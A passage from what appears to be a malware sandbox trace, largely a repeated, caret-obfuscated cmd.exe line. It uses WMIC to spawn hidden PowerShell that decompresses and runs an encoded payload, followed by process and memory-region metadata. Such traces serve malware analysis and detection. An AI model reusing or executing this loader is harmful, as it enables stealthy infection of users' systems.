Zz^t=g^klAj)&& (^sEt s^O= ^'CA^ll'^ ^'cRe^Ate^' \"\"^po)& (^SeT ^ q^2=0v^5W)&&(^se^T ^ ^A2=Ea^cH-^obj)&& ( ,(^SE^t ^ Co^Jf=^e) ,,,)&(^sEt ^ ^e^yWN=j^D8h)&&( ,(s^ET ^ ^z^RJ=^K5) , , )&& (^SeT J^6=^Fjr^iXLMf5)& ( , (s^ET ^ J^Z=1^z) ,, ,, , )&& (,(S^eT ^M^t=/D^+iA1Um^k6y^RKXmH) ,)&&( , ,,, , (^sEt 3^M^K^1=obj^ECt{nE^w^-o^bj^e), )& (se^T g^BQ=s^i)& (^seT ^ ^aMG=^u)& ( , ,, (^sE^T ^ ^aw^yI=^l) , )&( , (Se^t ^ ^ir^1^V=^h) )& (, , ,(S^Et uU^H=n^ ^ ^^^&^ ^(^ ), )&& ( , (S^Et o^JV=^^^|^ fOR),)&& (^S^e^t v^Z^c=$^p^S)&& (s^et ^ ^g^Vkp=^6)& ( , (SE^T ^CY=^4) , )&& (S^et 9c^u^B=^ )&& (se^t ^ ^Rz=^SS )&& (s^et ^ z^R=^G4G^u^tW)&&( , (se^T ^ gx^b=b^Yp) ,)& ( , (SE^t ^ ^a^g=z^P), )&&(, , , , , (S^eT sZ^G=Nt^Er^ac ^-), )& ( , (^sEt l^V^p=^OmPre^S^s^ ^)^ ) ,)& ( ,(^S^ET x^dNR=bg8^r^j), )&(,(s^E^T ^ l^R=^Ext^.eNcO) ,)&& (se^T ^ c^g=W^e^r^SH^e^ll^ -N^O)&& (^s^ET ^ OE^9^Q=DS^hyxy^yV2Apb^uy)&& ( (sET ^ Sq^5^s=Mo^RY^S^T^RE^a^m] ^[C^On^vER), )&& ( , (s^ET x^S=^re^ss^i), )& (S^eT p^v=^) \"\")&& ( , , , , ,(Se^t ^ I^G4^Q=^CT), )&&( , (S^ET ^ B^9s=^exe pR) ,)& (, (sE^T ^s^Hnp=0M^y), , , )&& (, (sE^T ^ ^Je=^m8) , )& (Se^t ^ bv=fa^qfNGZQobl^CJ^p)&&( , (se^T ^ q8=^v^v) , )&& (Se^T ^ ^S^l=Q^VH^cO8^e1hjBC^Xsd1^fexS2i)&& ( ,(s^ET ^ ^rj^UN=ni) , )& ( (SE^t ^H8^O=^QBL^9tiq^E^M^8^utN) ,, , )& (,(s^et bC^0=h^K) ,)&& ( , , ,, , (s^ET ^cI=^(^ ^`$^_\"\"\\\"\" ) , )&& (, ,, (^S^et ^ID=^21^]+), )&&(^sET ^ ^Dq4G=l^Ay^v^Y8Gg6lQqsD^4Yq^Rj^O)&& ( , (^SEt ^ Ea^u=S) , )&( ,(^s^Et ^Z^HTE=0^f), , , , , )&(^S^eT ^cN^Vz=^L1)& (^se^t ^oP8=p)& ( ,(^SeT ^ UQ7^k=^s^e64sTrIN), )&& (, , , , , (SE^T ^ ^7^2=^cP^V) , , , , ,)& (^SE^T ^cOyd=^RIng^(^) ^ )& (Se^T ^ X^j=+^ )&&( ,(S^eT ^Eh^p=^-ExEC^Ut ) , )& ( ,(^S^et ^h^g=+ \"\"\\\"\"[^sys^t^E^M^.^t), )& ( , (s^E^t ^ I1=W^A^Hn^u0^avhW^w^4c38X6) ,,, , ,)& (^seT ^ ^R5qC=^'^)^()& (, (SEt 3^C^he=^^^|) ,)&&(s^eT ^ HJ^VR=^ee57)&& (, (se^t ^ ^olr8=^}) , )& (,(S^Et ^I^r=^ON^.COmPR),)& (S^et ^3R^Y=^(^[ChA^r]44^))&(S^et cni^h=^E)&&(^s^eT 0^A=c^t S^Y^s^T^EM)&& (, (^Set ^ J^V^w=^od^E) , )&(^s^ET g^I=p^b^RXN^T^S)&& (^Set ^ us6=+00^z)& ( , , , (s^Et ^ C^d^J=A^p) ,)&& (SE^T bI^He=.T^oS^T)&(, (s^eT JG^A=T^]::), )&&(se^T ^ L^b=ho^M^E[34]+)&& ^sEt p^VZ=\"\"&(, (^seT ^ ^6vzH=a) , )&( , (S^eT ^u5=^E3Kyvr^/E) ,)&&( ,(^seT ^rp=^iN^G]::^aS^C), , , )& ( ,(Set m^Lwq=U^5^EyC^8^='^)\"\"\\\"\" + ), , , )&& (S^ET ^ ^bn=^)^ ^+ \"\"\\\"\"^[^IO)&( ,(S^eT ^ c^LM=M9^ArXoE^w),)& (Se^T ^ G^U=^^^|^ )&& (S^et ^ b^HT=[)&( , (s^Et c2^Q=.rE^ad^Toen^d^(^) }^)) ,, ,)&( ,(se^t ^i8T3=^(),)&& (sE^T ^0zSA=B0/^W^9pYXW^t^tmz3U^fr^So^a)&&( , , , (sE^t ^ Eh=Z^ttA), ,, ,, )& (^S^eT ^ ^ ^VDG=N^M)&(, (Se^T ^ D^vI=ES^sI^o) )&& ( (Se^t O^c^W^L= ^^^&^(^ ^`$),)&& (, , , , ,(SE^T 3^y=I^hv) , )&(^Set q^Xu=3^D^J^dlB6l^MtdrCqa^KOl0P)& (, ,,,,(^se^T ^ ^ ^Zb='^X) , , )&& , ca^LL ,, SeT q4j=%r^M%%B^9s%%7z%%s^O%%c^g%%^rj^UN%%sZ^G%%^Vp^05%%^8R%%D^RKS%%^Eh^p%%gx^b%%^6vzH%%^Rz%%9c^u^B%%^G5Q1%%v^F%%uU^H%%v^Z^c%%a^Xch%%P^d^J6%%L^b%%^Zb%%^R5qC%%^Z13%%j1%%x^S%%eZ^P%%^a^z8%%^U19%%b^1%%^AN%%Sq^5^s%%JG^A%%^LK%%UQ7^k%%^J^F^O6%%bv%%us6%%^c^wH%%c^WSV%%C^d^J%%G^Y%%^q0^C^c%%^e^yWN%%^Z^HTE%%G1^yS%%^ep3A%%^ir^1^V%%l^6e%%Zz^t%%^BW7%%LI^j%%^aMG%%I1%%J^6%%^cN^Vz%%C^ij%%b^aCI%%OE^9^Q%%J^Z%%^DG%%q^Xu%%^E^f%%x^dNR%%g^I%%3^y%%^S^l%%dn%%^7^2%%^H8^O%%q8%%^u5%%^s^Hnp%%^aw^yI%%c^LM%%^0zSA%%Op^1%%^Dq4G%%^Rw%%r^Y%%^z^RJ%%^g^Vkp%%bC^0%%^3B%%^a^g%%^6rH^Y%%^CY%%^M^t%%Ea^u%%Eh%%e^q%%^Je%%q^2%%^xm%%Co^Jf%%z^R%%HJ^V", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x16f290*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="CmD , , /V:On ,,/R \" , (Se^T j1=^Ew-obje^ct I^o.c^OMp)& (^sET ^ ^J^F^O6=G^('VZBba8^IwGIb/^SpA^O^E^remtR5^Aix)&& (^s^e^t c^WSV=^A^rm^U)&& (Se^T ^ ^BW7=^XV)&( ,, , ,, (^SEt ^ C^ij=^vQN) , ,, )& (Set q^X=^i^I^))&&( , (^set ^ 8^i47=^ ^{`$_), ,, )&&(^s^Et ^ ^c^wH=^kqa02Wx^1/v^fFwy52+7z^fe^+)&& (^SEt ^q0^C^c=^9)&& (SE^T ^ ^OZ=.Co^MpR^ES)&( , , , ,, (s^E^T ^ ^ ^U19=e^a) , , )&( , (set ^8R=O) , )&&( ,(SE^T ^ ^xm=^h) )&& ( , (^s^e^t v^F=^s ^h^i^dDe), )& (S^e^t ^ep3A=^Q^OyR2U^JM)&(, ,, ,,(Se^T G1^yS=^4^oTe1Nn) , )&( (s^Et ^ r^Y=uqSZ^q^t^H7Njw) , )&( , , ,(S^E^T ^a^z8=N.^D^efLa^tesTR) , )& (^SET ^ b^1=^M^()&& (s^eT ^ D^RKS=FI^l^E^ -NoL^ogO )&& (^s^eT q^G=.^I)&& (^S^ET ^Rw=2ZZ^2)&& (S^Et G^Y=CA^C0g^IO)& ( (S^ET ^ e5^S=^`^$P^S^HO^ME[30]+'x'^)\"\"^\\\"\" ), , , )& (^se^t b^aCI=4k^Bwy)&& (,, , (sE^T ^ ^LK=f^R^o^m^ba), )&&(sE^t ^lPo=^([C^hAr]44^).T^oSTRIng)&& (, (s^Et Op^1=4) , )&&(se^T ^ ^E^f=a^f^tO^sH0^5)&(SE^T LI=foRE^ach^-)&&(^SeT ^ ^dv=D)&( , (Se^T ^ ^6rH^Y=^5+8) , ,, , , )&&( , , , (^Se^T ^ dn=Y/D^6) , )&& (^SE^T ^Vp^05=n^oPR)&& (, (^set ^AN=[s^ysTe^m.I^O.ME), ,,, , )&& ( ,(s^E^T ^ ^G5Q1=-^wINDO^w), )&( , ,, (s^ET 7z=o^CESs^ ) , )& (^SeT bO^q=^o^.stReAMRE^ADeR)&& ( , (Se^T ^DG=s^uB4) ,)&&( , (sE^t LI^j=^dap^D0) , )& (SE^t a^Xch=Ho^M^e)&& (S^Et ^ ^Z13= \"\"\\\"\"^(n)&&(, (s^ET e^q=^7) , , , )&& ( , (s^et eZ^P=o) , )&&( , (s^ET DQ=sHO^M^e) ,,, ,, )&& (s^ET ^ r^M=W^M^IC.)& ( (^SET uq^LY=]::^d^EC), , , )&& ( (s^ET ^ l^6e=b^1) , )&& (sE^t P^d^J6=[^2^1]^+$Ps)&&( ,(^SET ^ ^3B=0^dG^IO^e) ,, , , , )&& (^S^Et ^ Zz^t=g^klAj)&& (^sEt s^O= ^'CA^ll'^ ^'cRe^Ate^' \"\"^po)& (^SeT ^ q^2=0v^5W)&&(^se^T ^ ^A2=Ea^cH-^obj)&& ( ,(^SE^t ^ Co^Jf=^e) ,,,)&(^sEt ^ ^e^yWN=j^D8h)&&( ,(s^ET ^ ^z^RJ=^K5) , , )&& (^SeT J^6=^Fjr^iXLMf5)& ( , (s^ET ^ J^Z=1^z) ,, ,, , )&& (,(S^eT ^M^t=/D^+iA1Um^k6y^RKXmH) ,)&&( , ,,, , (^sEt 3^M^K^1=obj^ECt{nE^w^-o^bj^e), )& (se^T g^BQ=s^i)& (^seT ^ ^aMG=^u)& ( , ,, (^sE^T ^ ^aw^yI=^l) , )&( , (Se^t ^ ^ir^1^V=^h) )& (, , ,(S^Et uU^H=n^ ^ ^^^&^ ^(^ ), )&& ( , (S^Et o^JV=^^^|^ fOR),)&& (^S^e^t v^Z^c=$^p^S)&& (s^et ^ ^g^Vkp=^6)& ( , (SE^T ^CY=^4) , )&& (S^et 9c^u^B=^ )&& (se^t ^ ^Rz=^SS )&& (s^et ^ z^R=^G4G^u^tW)&&( , (se^T ^ gx^b=b^Yp) ,)& ( , (SE^t ^ ^a^g=z^P), )&&(, , , , , (S^eT sZ^G=Nt^Er^ac ^-), )& ( , (^sEt l^V^p=^OmPre^S^s^ ^)^ ) ,)& ( ,(^S^ET x^dNR=bg8^r^j), )&(,(s^E^T ^ l^R=^Ext^.eNcO) ,)&& (se^T ^ c^g=W^e^r^SH^e^ll^ -N^O)&& (^s^ET ^ OE^9^Q=DS^hyxy^yV2Apb^uy)&& ( (sET ^ Sq^5^s=Mo^RY^S^T^RE^a^m] ^[C^On^vER), )&& ( , (s^ET x^S=^re^ss^i), )& (S^eT p^v=^) \"\")&& ( , , , , ,(Se^t ^ I^G4^Q=^CT), )&&( , (S^ET ^ B^9s=^exe pR) ,)& (, (sE^T ^s^Hnp=0M^y), , , )&& (, (sE^T ^ ^Je=^m8) , )& (Se^t ^ bv=fa^qfNGZQobl^CJ^p)&&( , (se^T ^ q8=^v^v) , )&& (Se^T ^ ^S^l=Q^VH^cO8^e1hjBC^Xsd1^fexS2i)&& ( ,(s^ET ^ ^rj^UN=ni) , )& ( (SE^t ^H8^O=^QBL^9tiq^E^M^8^utN) ,, , )& (,(s^et bC^0=h^K) ,)&& ( , , ,, , (s^ET ^cI=^(^ ^`$^_\"\"\\\"\" ) , )&& (, ,, (^S^et ^ID=^21^]+), )&&(^sET ^ ^Dq4G=l^Ay^v^Y8Gg6lQqsD^4Yq^Rj^O)&& ( , (^SEt ^ Ea^u=S) , )&( ,(^s^Et ^Z^HTE=0^f), , , , , )&(^S^eT ^cN^Vz=^L1)& (^se^t ^oP8=p)& ( ,(^SeT ^ UQ7^k=^s^e64sTrIN), )&& (, , , , , (SE^T ^ ^7^2=^cP^V) , , , , ,)& (^SE^T ^cOyd=^RIng^(^) ^ )& (Se^T ^ X^j=+^ )&&( ,(S^eT ^Eh^p=^-ExEC^Ut ) , )& ( ,(^S^et ^h^g=+ \"\"\\\"\"[^sys^t^E^M^.^t), )& ( , (s^E^t ^ I1=W^A^Hn^u0^avhW^w^4c38X6) ,,, , ,)& (^seT ^ ^R5qC=^'^)^()& (, (SEt 3^C^he=^^^|) ,)&&(s^eT ^ HJ^VR=^ee57)&& (, (se^t ^ ^olr8=^}) , )& (,(S^Et ^I^r=^ON^.COmPR),)& (S^et ^3R^Y=^(^[ChA^r]44^))&(S^et cni^h=^E)&&(^s^eT 0^A=c^t S^Y^s^T^EM)&& (, (^Set ^ J^V^w=^od^E) , )&(^s^ET g^I=p^b^RXN^T^S)&& (^Set ^ us6=+00^z)& ( , , , (s^Et ^ C^d^J=A^p) ,)&& (SE^T bI^He=.T^oS^T)&(, (s^eT JG^A=T^]::), )&&(se^T ^ L^b=ho^M^E[34]+)&& ^sEt p^VZ=\"\"&(, (^seT ^ ^6vzH=a) , )&( , (S^eT ^u5=^E3Kyvr^/E) ,)&&( ,(^seT ^rp=^iN^G]::^aS^C), , , )& ( ,(Set m^Lwq=U^5^EyC^8^='^)\"\"\\\"\" + ), , , )&& (S^ET ^ ^bn=^)^ ^+ \"\"\\\"\"^[^IO)&( ,(S^eT ^ c^LM=M9^ArXoE^w),)& (Se^T ^ G^U=^^^|^ )&& (S^et ^ b^HT=[)&( , (s^Et c2^Q=.rE^ad^Toen^d^(^) }^)) ,, ,)&( ,(se^t ^i8T3=^(),)&& (sE^T ^0zSA=B0/^W^9pYXW^t^tmz3U^fr^So^a)&&( , , , (sE^t ^ Eh=Z^ttA), ,, ,, )& (^S^eT ^ ^ ^VDG=N^M)&(, (Se^T ^ D^vI=ES^sI^o) )&& ( (Se^t O^c^W^L= ^^^&^(^ ^`$),)&& (, , , , ,(SE^T 3^y=I^hv) , )&(^Set q^Xu=3^D^J^dlB6l^MtdrCqa^KOl0P)& (, ,,,,(^se^T ^ ^ ^Zb='^X) , , )&& , ca^LL ,, SeT q4j=%r^M%%B^9s%%7z%%s^O%%c^g%%^rj^UN%%sZ^G%%^Vp^05%%^8R%%D^RKS%%^Eh^p%%gx^b%%^6vzH%%^Rz%%9c^u^B%%^G5Q1%%v^F%%uU^H%%v^Z^c%%a^Xch%%P^d^J6%%L^b%%^Zb%%^R5qC%%^Z13%%j1%%x^S%%eZ^P%%^a^z8%%^U19%%b^1%%^AN%%Sq^5^s%%JG^A%%^LK%%UQ7^k%%^J^F^O6%%bv%%us6%%^c^wH%%c^WSV%%C^d^J%%G^Y%%^q0^C^c%%^e^yWN%%^Z^HTE%%G1^yS%%^ep3A%%^ir^1^V%%l^6e%%Zz^t%%^BW7%%LI^j%%^aMG%%I1%%J^6%%^cN^Vz%%C^ij%%b^aCI%%OE^9^Q%%J^Z%%^DG%%q^Xu%%^E^f%%x^dNR%%g^I%%3^y%%^S^l%%dn%%^7^2%%^H8^O%%q8%%^u5%%^s^Hnp%%^aw^yI%%c^LM%%^0zSA%%Op^1%%^Dq4G%%^Rw%%r^Y%%^z^RJ%%^g^Vkp%%bC^0%%^3B%%^a^g%%^6rH^Y%%^CY%%^M^t%%Ea^u%%Eh%%e^q%%^Je%%q^2%%^xm%%Co^Jf%%z^R%%HJ^V", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x16f240 | out: lpCommandLine="CmD , , /V:On ,,/R \" , (Se^T j1=^Ew-obje^ct I^o.c^OMp)& (^sET ^ ^J^F^O6=G^('VZBba8^IwGIb/^SpA^O^E^remtR5^Aix)&& (^s^e^t c^WSV=^A^rm^U)&& (Se^T ^ ^BW7=^XV)&( ,, , ,, (^SEt ^ C^ij=^vQN) , ,, )& (Set q^X=^i^I^))&&( , (^set ^ 8^i47=^ ^{`$_), ,, )&&(^s^Et ^ ^c^wH=^kqa02Wx^1/v^fFwy52+7z^fe^+)&& (^SEt ^q0^C^c=^9)&& (SE^T ^ ^OZ=.Co^MpR^ES)&( , , , ,, (s^E^T ^ ^ ^U19=e^a) , , )&( , (set ^8R=O) , )&&( ,(SE^T ^ ^xm=^h) )&& ( , (^s^e^t v^F=^s ^h^i^dDe), )& (S^e^t ^ep3A=^Q^OyR2U^JM)&(, ,, ,,(Se^T G1^yS=^4^oTe1Nn) , )&( (s^Et ^ r^Y=uqSZ^q^t^H7Njw) , )&( , , ,(S^E^T ^a^z8=N.^D^efLa^tesTR) , )& (^SET ^ b^1=^M^()&& (s^eT ^ D^RKS=FI^l^E^ -NoL^ogO )&& (^s^eT q^G=.^I)&& (^S^ET ^Rw=2ZZ^2)&& (S^Et G^Y=CA^C0g^IO)& ( (S^ET ^ e5^S=^`^$P^S^HO^ME[30]+'x'^)\"\"^\\\"\" ), , , )& (^se^t b^aCI=4k^Bwy)&& (,, , (sE^T ^ ^LK=f^R^o^m^ba), )&&(sE^t ^lPo=^([C^hAr]44^).T^oSTRIng)&& (, (s^Et Op^1=4) , )&&(se^T ^ ^E^f=a^f^tO^sH0^5)&(SE^T LI=foRE^ach^-)&&(^SeT ^ ^dv=D)&( , (Se^T ^ ^6rH^Y=^5+8) , ,, , , )&&( , , , (^Se^T ^ dn=Y/D^6) , )&& (^SE^T ^Vp^05=n^oPR)&& (, (^set ^AN=[s^ysTe^m.I^O.ME), ,,, , )&& ( ,(s^E^T ^ ^G5Q1=-^wINDO^w), )&( , ,, (s^ET 7z=o^CESs^ ) , )& (^SeT bO^q=^o^.stReAMRE^ADeR)&& ( , (Se^T ^DG=s^uB4) ,)&&( , (sE^t LI^j=^dap^D0) , )& (SE^t a^Xch=Ho^M^e)&& (S^Et ^ ^Z13= \"\"\\\"\"^(n)&&(, (s^ET e^q=^7) , , , )&& ( , (s^et eZ^P=o) , )&&( , (s^ET DQ=sHO^M^e) ,,, ,, )&& (s^ET ^ r^M=W^M^IC.)& ( (^SET uq^LY=]::^d^EC), , , )&& ( (s^ET ^ l^6e=b^1) , )&& (sE^t P^d^J6=[^2^1]^+$Ps)&&( ,(^SET ^ ^3B=0^dG^IO^e) ,, , , , )&& (^S^Et ^ Zz^t=g^klAj)&& (^sEt s^O= ^'CA^ll'^ ^'cRe^Ate^' \"\"^po)& (^SeT ^ q^2=0v^5W)&&(^se^T ^ ^A2=Ea^cH-^obj)&& ( ,(^SE^t ^ Co^Jf=^e) ,,,)&(^sEt ^ ^e^yWN=j^D8h)&&( ,(s^ET ^ ^z^RJ=^K5) , , )&& (^SeT J^6=^Fjr^iXLMf5)& ( , (s^ET ^ J^Z=1^z) ,, ,, , )&& (,(S^eT ^M^t=/D^+iA1Um^k6y^RKXmH) ,)&&( , ,,, , (^sEt 3^M^K^1=obj^ECt{nE^w^-o^bj^e), )& (se^T g^BQ=s^i)& (^seT ^ ^aMG=^u)& ( , ,, (^sE^T ^ ^aw^yI=^l) , )&( , (Se^t ^ ^ir^1^V=^h) )& (, , ,(S^Et uU^H=n^ ^ ^^^&^ ^(^ ), )&& ( , (S^Et o^JV=^^^|^ fOR),)&& (^S^e^t v^Z^c=$^p^S)&& (s^et ^ ^g^Vkp=^6)& ( , (SE^T ^CY=^4) , )&& (S^et 9c^u^B=^ )&& (se^t ^ ^Rz=^SS )&& (s^et ^ z^R=^G4G^u^tW)&&( , (se^T ^ gx^b=b^Yp) ,)& ( , (SE^t ^ ^a^g=z^P), )&&(, , , , , (S^eT sZ^G=Nt^Er^ac ^-), )& ( , (^sEt l^V^p=^OmPre^S^s^ ^)^ ) ,)& ( ,(^S^ET x^dNR=bg8^r^j), )&(,(s^E^T ^ l^R=^Ext^.eNcO) ,)&& (se^T ^ c^g=W^e^r^SH^e^ll^ -N^O)&& (^s^ET ^ OE^9^Q=DS^hyxy^yV2Apb^uy)&& ( (sET ^ Sq^5^s=Mo^RY^S^T^RE^a^m] ^[C^On^vER), )&& ( , (s^ET x^S=^re^ss^i), )& (S^eT p^v=^) \"\")&& ( , , , , ,(Se^t ^ I^G4^Q=^CT), )&&( , (S^ET ^ B^9s=^exe pR) ,)& (, (sE^T ^s^Hnp=0M^y), , , )&& (, (sE^T ^ ^Je=^m8) , )& (Se^t ^ bv=fa^qfNGZQobl^CJ^p)&&( , (se^T ^ q8=^v^v) , )&& (Se^T ^ ^S^l=Q^VH^cO8^e1hjBC^Xsd1^fexS2i)&& ( ,(s^ET ^ ^rj^UN=ni) , )& ( (SE^t ^H8^O=^QBL^9tiq^E^M^8^utN) ,, , )& (,(s^et bC^0=h^K) ,)&& ( , , ,, , (s^ET ^cI=^(^ ^`$^_\"\"\\\"\" ) , )&& (, ,, (^S^et ^ID=^21^]+), )&&(^sET ^ ^Dq4G=l^Ay^v^Y8Gg6lQqsD^4Yq^Rj^O)&& ( , (^SEt ^ Ea^u=S) , )&( ,(^s^Et ^Z^HTE=0^f), , , , , )&(^S^eT ^cN^Vz=^L1)& (^se^t ^oP8=p)& ( ,(^SeT ^ UQ7^k=^s^e64sTrIN), )&& (, , , , , (SE^T ^ ^7^2=^cP^V) , , , , ,)& (^SE^T ^cOyd=^RIng^(^) ^ )& (Se^T ^ X^j=+^ )&&( ,(S^eT ^Eh^p=^-ExEC^Ut ) , )& ( ,(^S^et ^h^g=+ \"\"\\\"\"[^sys^t^E^M^.^t), )& ( , (s^E^t ^ I1=W^A^Hn^u0^avhW^w^4c38X6) ,,, , ,)& (^seT ^ ^R5qC=^'^)^()& (, (SEt 3^C^he=^^^|) ,)&&(s^eT ^ HJ^VR=^ee57)&& (, (se^t ^ ^olr8=^}) , )& (,(S^Et ^I^r=^ON^.COmPR),)& (S^et ^3R^Y=^(^[ChA^r]44^))&(S^et cni^h=^E)&&(^s^eT 0^A=c^t S^Y^s^T^EM)&& (, (^Set ^ J^V^w=^od^E) , )&(^s^ET g^I=p^b^RXN^T^S)&& (^Set ^ us6=+00^z)& ( , , , (s^Et ^ C^d^J=A^p) ,)&& (SE^T bI^He=.T^oS^T)&(, (s^eT JG^A=T^]::), )&&(se^T ^ L^b=ho^M^E[34]+)&& ^sEt p^VZ=\"\"&(, (^seT ^ ^6vzH=a) , )&( , (S^eT ^u5=^E3Kyvr^/E) ,)&&( ,(^seT ^rp=^iN^G]::^aS^C), , , )& ( ,(Set m^Lwq=U^5^EyC^8^='^)\"\"\\\"\" + ), , , )&& (S^ET ^ ^bn=^)^ ^+ \"\"\\\"\"^[^IO)&( ,(S^eT ^ c^LM=M9^ArXoE^w),)& (Se^T ^ G^U=^^^|^ )&& (S^et ^ b^HT=[)&( , (s^Et c2^Q=.rE^ad^Toen^d^(^) }^)) ,, ,)&( ,(se^t ^i8T3=^(),)&& (sE^T ^0zSA=B0/^W^9pYXW^t^tmz3U^fr^So^a)&&( , , , (sE^t ^ Eh=Z^ttA), ,, ,, )& (^S^eT ^ ^ ^VDG=N^M)&(, (Se^T ^ D^vI=ES^sI^o) )&& ( (Se^t O^c^W^L= ^^^&^(^ ^`$),)&& (, , , , ,(SE^T 3^y=I^hv) , )&(^Set q^Xu=3^D^J^dlB6l^MtdrCqa^KOl0P)& (, ,,,,(^se^T ^ ^ ^Zb='^X) , , )&& , ca^LL ,, SeT q4j=%r^M%%B^9s%%7z%%s^O%%c^g%%^rj^UN%%sZ^G%%^Vp^05%%^8R%%D^RKS%%^Eh^p%%gx^b%%^6vzH%%^Rz%%9c^u^B%%^G5Q1%%v^F%%uU^H%%v^Z^c%%a^Xch%%P^d^J6%%L^b%%^Zb%%^R5qC%%^Z13%%j1%%x^S%%eZ^P%%^a^z8%%^U19%%b^1%%^AN%%Sq^5^s%%JG^A%%^LK%%UQ7^k%%^J^F^O6%%bv%%us6%%^c^wH%%c^WSV%%C^d^J%%G^Y%%^q0^C^c%%^e^yWN%%^Z^HTE%%G1^yS%%^ep3A%%^ir^1^V%%l^6e%%Zz^t%%^BW7%%LI^j%%^aMG%%I1%%J^6%%^cN^Vz%%C^ij%%b^aCI%%OE^9^Q%%J^Z%%^DG%%q^Xu%%^E^f%%x^dNR%%g^I%%3^y%%^S^l%%dn%%^7^2%%^H8^O%%q8%%^u5%%^s^Hnp%%^aw^yI%%c^LM%%^0zSA%%Op^1%%^Dq4G%%^Rw%%r^Y%%^z^RJ%%^g^Vkp%%bC^0%%^3B%%^a^g%%^6rH^Y%%^CY%%^M^t%%Ea^u%%Eh%%e^q%%^Je%%q^2%%^xm%%Co^Jf%%z^R%%HJ^V", lpProcessInformation=0x16f240*(hProcess=0x54, hThread=0x50, dwProcessId=0xadc, dwThreadId=0xae0)) returned 1 [0085.356] CloseHandle (hObject=0x50) returned 1 [0085.356] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0091.500] _get_osfhandle (_FileHandle=1) returned 0x7 [0091.500] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0091.501] _get_osfhandle (_FileHandle=1) returned 0x7 [0091.501] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49d7e194 | out: lpMode=0x49d7e194) returned 1 [0091.501] _get_osfhandle (_FileHandle=0) returned 0x3 [0091.501] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49d7e198 | out: lpMode=0x49d7e198) returned 1 [0091.501] SetConsoleInputExeNameW () returned 0x1 [0091.501] GetConsoleOutputCP () returned 0x1b5 [0091.502] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49d8bfe0 | out: lpCPInfo=0x49d8bfe0) returned 1 [0091.502] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0091.502] exit (_Code=0) Process: id = "3" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x745e000" os_pid = "0x36c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x928" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d435" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 692 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 693 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 694 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 695 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 696 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 697 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 698 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 699 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 700 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 701 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 702 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 703 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 704 start_va = 0x130000 end_va = 0x131fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 705 start_va = 0x140000 end_va = 0x143fff entry_point = 0x140000 region_type = mapped_file name = "cversions.2.db" filename = 